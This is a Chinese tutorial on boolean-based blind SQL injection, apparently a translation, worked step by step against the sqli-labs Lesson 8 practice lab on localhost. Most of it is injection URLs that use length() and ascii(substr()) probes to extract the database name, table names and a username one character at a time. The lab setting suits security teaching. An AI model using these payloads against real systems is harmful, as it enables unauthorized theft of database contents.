如今有很多种使用SQL注入攻击数据库的方法,比如之前的教程中已经见过的基于错误返回的攻击、基于登录表单的攻击和其他许多不同形式的攻击,其目的都是获取数据库中的信息。同样地,今天我们将要学习一种新的SQL注入攻击方法——基于布尔的盲注。
攻击者通常在URL中嵌入(')来检查是否可以进行SQL注入攻击,使用(')是为了得到SQL错误返回信息。这是一场开发者和攻击者之间的战争,每当开发者提升了安全防护级别,攻击者就得绞尽脑汁地去攻破它。这一次开发者并没有将错误信息以输出的形式呈现在Web页面上。因此,即使该数据库是易于被SQL注入的,攻击者也无法获得任何相关错误信息。然而,道高一尺,魔高一丈。此时攻击者就会通过估计不同的查询结果,TRUE或者FALSE,来确定该数据库是否可被盲注。
开始吧!我们继续使用Dhakkan平台来学习盲注。
Lesson 8
首先在浏览器中输入http://localhost:81/sqli/Less-8/?id=1打开该平台(注:输入具体以个人实际情况为准,这里是原作者的配置,仅供参考)。
这时会向数据库送入一条查询:SELECT * from table_name WHERE id=1
由上图可以看出,其结果就是得到一个以黄颜色显示的"You are in..........."的Web页面。
当攻击者使用嵌入(')的查询,即:http://localhost:81/sqli/Less-8/?id=1'
由上图可以看出,该黄颜色文本消失了,也没有得到任何错误信息,使用其他攻击方式的情况与此相同。
那么攻击者只好通过盲注来进行验证了,该注入查询返回的一定是TRUE或者FALSE。
http://localhost:81/sqli/Less-8/?id=1' AND 1=1 --+
对应的后端查询为:SELECT * from table_name WHERE id=1' AND 1=1
数据库会对给定的情况1=1进行检查,如果查询有效,它就会返回TRUE。由上图可以看出,我们又得到了黄颜色显示的"You are in...........",这意味着该查询是有效的。
接着下一条查询,http://localhost:81/sqli/Less-8/?id=1' AND 1=0 --+
对应的后端查询为:SELECT * from table_name WHERE id=1' AND 1=0
同样的,数据库会对给定的情况1=0进行检查,显然该查询无效的,因此将会返回FALSE。由上图可以看出,该黄颜色文本右消失了。
以上即可说明该数据库是可被盲注的,由此我们就可以获取数据库信息了。
数据库字符串长度
接下来的查询将会求数据库中的字符串长度。
例如,数据库名为IGNITE,它包含了6个字母,那么该数据库字符串IGNITE的长度就等于6。与此类似的,我们使用以下注入查询来检查当前数据库名的长度是否等于1,通过是否显示文本"You are in..........."即可判断返回的是TRUE还是FALSE。
http://localhost:81/sqli/Less-8/?id=1' AND (length(database())) = 1 --+
由上图可以看出,返回的是FALSE,这意味着当前数据库名的长度不等于1。
(注:细心的读者可能会发现上面的URL中localhost后面有81,而图片中却没有,其实这两种方式得到的是同一页面,因此不做更改,读者可自行尝试)
http://localhost:81/sqli/Less-8/?id=1' AND (length(database())) = 2 --+
由上图可以看出,当前数据库名的长度不等于2。
...
http://localhost:81/sqli/Less-8/?id=1' AND (length(database())) = 8 --+
由上图可以看出,当检查到8时,文本"You are in..........."又出现了,这意味着当前数据库名的长度为8。
众所周知,计算机无法理解人类的语言,它只能理解二进制语言,因此,我们使用了ASCII码。ASCII码将字符集中的每一个符号都对应于一个整数,比如字母、数字、标点符号、特殊字符和操作符。例如:
1 = I = 73
2 = G = 71
3 = N = 78
4 = I = 73
5 = T = 84
6 = E = 69
图片来源:www.lookuptables.com
接下来我们要使用ASCII码枚举出这8个字符。
下一条查询使用关键字ascii substr检查当前数据库名中的第一个字符对应的ASCII码是否大于100。
http://localhost:81/sqli/Less-8/?id=1' AND (ascii(substr((select database()),1,1))) > 100 --+
由上图可以看出,第一个字符的ASCII码确实大于100。
http://localhost:81/sqli/Less-8/?id=1' AND (ascii(substr((select database()),1,1))) > 120 --+
由上图可以看出,第一个字符的ASCII码小于120。这意味着第一个字符的ASCII码在100和120之间。
接下来逐个检查。
http://localhost:81/sqli/Less-8/?id=1' AND (ascii(substr((select database()),1,1))) = 101 --+
由上图可以看出,第一个字符的ASCII码不等于101。
...
http://localhost:81/sqli/Less-8/?id=1' AND (ascii(substr((select database()),1,1))) = 114 --+
由上图可以看出,第一个字符的ASCII码不等于114。
http://localhost:81/sqli/Less-8/?id=1' AND (ascii(substr((select database()),1,1))) = 115 --+
由上图可以看出,返回的是TRUE,意味着第一个字符的ASCII码等于115,即's'。
接下来就是第二个字符,重复以上步骤。
http://localhost:81/sqli/Less-8/?id=1' AND (ascii(substr((select database()),2,1))) > 100 --+
...
http://localhost:81/sqli/Less-8/?id=1' AND (ascii(substr((select database()),2,1))) = 101 --+
由上图可以看出,返回的是TRUE,意味着第二个字符的ASCII码等于101,即'e'。
同理即可得到全部的8个字符,具体如下:
1 = s = 115
2 = e = 101
3 = c = 99
4 = u = 117
5 = r = 114
6 = i = 105
7 = t = 116
8 = y = 121
表字符串长度
我们还得使用同样的技术来获取数据库中的表的信息。以下查询会检查第一个表名的长度是否大于5。
http://localhost:81/sqli/Less-8/?id=1' AND (length((select table_name from information_schema.tables where table_schema=database() limit 0,1))) > 5 --+
由上图可以看出,第一个表名的长度确实大于5。
http://localhost:81/sqli/Less-8/?id=1' AND (length((select table_name from information_schema.tables where table_schema=database() limit 0,1))) > 6 --+
由上图可以看出,第一个表名的长度不大于6。其实这已经意味着第一个表名的长度等于6了,不过为了演示,还是执行以下查询:
http://localhost:81/sqli/Less-8/?id=1' AND (length((select table_name from information_schema.tables where table_schema=database() limit 0,1))) = 6 --+
由上图可以看出,第一个表名的长度确实等于6。
类似的,可用同样的技术测试第二个和第三个表名的长度,改变一下上面所用查询中的表的编号即可。
再来演示一下如何测试第四个表名的长度。
http://localhost:81/sqli/Less-8/?id=1' AND (length((select table_name from information_schema.tables where table_schema=database() limit 3,1))) = 5 --+
由上图可以看出,第四个表名的长度等于5。
然后就是枚举表名的具体字符,所用方法和前面的相同,这里以第四个表名为例。
http://localhost:81/sqli/Less-8/?id=1' AND (ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 3,1),1,1))) > 115 --+
由上图可以看出,该表名第一个字符的ASCII码大于115。
接下来测试该表名第一个字符的ASCII码是否大于120。
http://localhost:81/sqli/Less-8/?id=1' AND (ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 3,1),1,1))) > 120 --+
由上图可以看出,该表名第一个字符的ASCII码小于120。结合上面可知,该表名第一个字符的ASCII码位于115到120之间,接着逐个检测。
http://localhost:81/sqli/Less-8/?id=1' AND (ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 3,1),1,1))) = 116 --+
由上图可以看出,该表名第一个字符的ASCII码不等于116。
http://localhost:81/sqli/Less-8/?id=1' AND (ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 3,1),1,1))) = 117 --+
由上图可以看出,该表名第一个字符的ASCII码等于117。这意味着第四个表名的第一个字符为'u'。
同理即可得到第四个表名的全部字符,如下:
1 = u = 117
2 = s = 115
3 = e = 101
4 = r = 114
5 = s = 115
枚举用户名
接下来我们使用同样的技术测试一下表users中第一个用户名的长度。
http://localhost:81/sqli/Less-8/?id=1' AND (length((select username from users limit 0,1))) = 4 --+
由上图可以看出,用户名的长度等于4。
然后就是枚举该用户名的具体字符,还是用之前的技术。
http://localhost:81/sqli/Less-8/?id=1' AND (ascii(substr((select username from users limit 0,1),1,1))) > 100 --+
由上图可以看出,该用户名第一个字符的ASCII码小于100。
http://localhost:81/sqli/Less-8/?id=1' AND (ascii(substr((select username from users limit 0,1),1,1))) > 50 --+
由上图可以看出,该用户名第一个字符的ASCII码大于50。
http://localhost:81/sqli/Less-8/?id=1' AND (ascii(substr((select username from users limit 0,1),1,1))) > 60 --+
由上图可以看出,该用户名第一个字符的ASCII码大于60。
http://localhost:81/sqli/Less-8/?id=1' AND (ascii(substr((select username from users limit 0,1),1,1))) > 70 --+
由上图可以看出,该用户名第一个字符的ASCII码不大于70。结合上面可知,该用户名第一个字符的ASCII码位于60到70之间,接着逐个检测。
http://localhost:81/sqli/Less-8/?id=1' AND (ascii(substr((select username from users limit 0,1),1,1))) = 68 --+
由上图可以看出,该用户名第一个字符的ASCII码等于68。这意味着第一个字符为'D'。
同理即可得到该用户名的全部字符,如下:
1 = D = 68
2 = u = 117
3 = m = 109
4 = b = 98
到此为止,我们已经学会了如何使用盲注技术来攻击数据库。